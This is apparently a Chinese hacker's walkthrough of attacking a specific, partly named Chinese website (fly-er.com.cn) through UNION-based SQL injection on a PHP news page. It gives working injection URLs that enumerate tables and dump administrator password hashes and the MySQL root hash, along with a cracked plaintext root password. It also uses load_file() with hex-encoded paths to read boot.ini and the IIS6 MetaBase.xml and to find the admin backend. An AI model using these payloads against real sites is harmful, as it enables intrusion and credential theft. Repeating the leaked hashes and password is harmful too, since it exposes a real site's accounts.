- php_mysql注入load_file()IIS配置文件获取
先看一个注入点：
http://www. .cn/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat(database(),0x5c,user(),0x5c,version()),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
得到回显：flier_dbase\[email protected]\5.0.22-community-nt
如果说注入点算是第一个漏洞，那么这个root就是管理员制造的第二个网站漏洞了
表段：http://www. .cn/news_detail.php?newsid=1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT+table_name),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+information_schema.columns+where+table_schema=0x666C6965725F6462617365
得到数据：pub_config,pub_tree,pub_webmaster,web_img,web_keys,web_ly,web_news,web_news_review
pub_webmaster的字段：http://www. .cn/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT+column_name),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+information_schema.columns+where+table_name=0x7075625F7765626D6173746572
得到数据：webmasterid,username,userpwd,loginnum,ip,lasttime,tree,name,dtime,sex,jobs
这下出来管理员数据：
http://www. .cn/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT+username,0x5f,userpwd),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+pub_webmaster
得到：admin_9b45d683e499e7bd
yfh_7a57a5a743894a0e//这里是第三个漏洞了，弱口令admin
既然找不到后台地址，那么干脆爆MySql管理员的口令
http://www. .cn/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat(user,password),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+mysql.user
得到数据：root*CB26B0546CADD30FC2432C095A6A3D54FA3C2FFD
数据库就一个账户，如果解不开，岂不是要放弃？那倒不比，第一，咱解开了，对于八位字母数字加符号的密码，学校的分布式密码破解系统毫不吃力的说。不过这个密码是八位字母加符号，也算不的弱口令，暂且不算是漏洞吧。
*CB26B0546CADD30FC2432C095A6A3D54FA3C2FFD对应的明文是qweasd)@
第二，咱还有别的路子，随便访问一个路径，反馈的是IIS6的404默认页，说明网站服务器是：Windows+IIS6+php+MySql的环境
先把c:\\boot.ini这串路径进行hex编码得到：0x633A5C5C626F6F742E696E69
然后、http://www. .cn/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,load_file(0x633A5C5C626F6F742E696E69),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
看回显：
[boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS [operating systems] multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Windows Server 2003, Enterprise" /fastdetect /NoExecute=OptOut
虽然能load_file加载文件，但是似乎用处不大。非也非也，既然是IIS6，那么加载c:\\windows\\system32\\inetsrv\\MetaBase.xml这个路径就可以获取网站配置信息了。
*注：Windows进行文件操作，路径一定要是双斜杠，如果是单斜杠，八成会load_file失败，探讨其原因，可能是因为，斜杠是这样的\左上右下，而Linux则是/右上左下。如果在Windows的路径斜杠后面跟个t也就是\t，看看在编程里面是什么？如果\n呢？\‘呢？没错，路径的斜杠就没了。如果是双斜杠，\\那才是真的单斜杠。如果你需要输出双斜杠，那么你要用四个斜杠来表示，郁闷不？\\\\
最后注入句就是：http://www.fly-er.com.cn/news_detail.php?newsid=- 1+union+select+1,2,3,4,5,6,load_file(0x633A5C5C77696E646F77735C5C73797374656D33325C5C696E65747372765C5C4D657461426173652E786D6C),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
得到回显如下：
主要看这几句配置：
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
|
还有：
|
1 2 3 4 5 6 7 8 9 10 11 12 |
|
这下子我们构造：
http://www. .cn/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,load_file(0x463A5C5C7765625C5C323031303731365C5C6E65775F666C7965725C5C696E6465782E706870),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
右键查看源代码就可以了
*注：load_file用的时候，最好在外面加一个hex即：hex(load_file(xxxxxxx))
因为我遇到过一个网站，主页不知道是哪里的代码有问题，注入点在主页。我用主页load_file主页文件，外面没嵌套hex的话，主页就被循 环显示了，就是类似这样：index里面有一个iframe，iframe加载的是index这个文件，index这个文件里面的iframe又加载 index这个文件，循环往复下去，直到把机器资源耗尽。虽然不知道当时那个网站是不是这个iframe，但是这样的嵌套确实有死循环发生，所以建议 hex嵌套load_file
我比较在意的是index里面这样的一个地方的代码：
|
1 2 3 4 5 |
|
呵呵，这里不就是后台地址么？
显然，后台的安全性也不够。就算是隐藏了后台地址，工具扫不到，那也不意味着可以放松后台的安全性吧？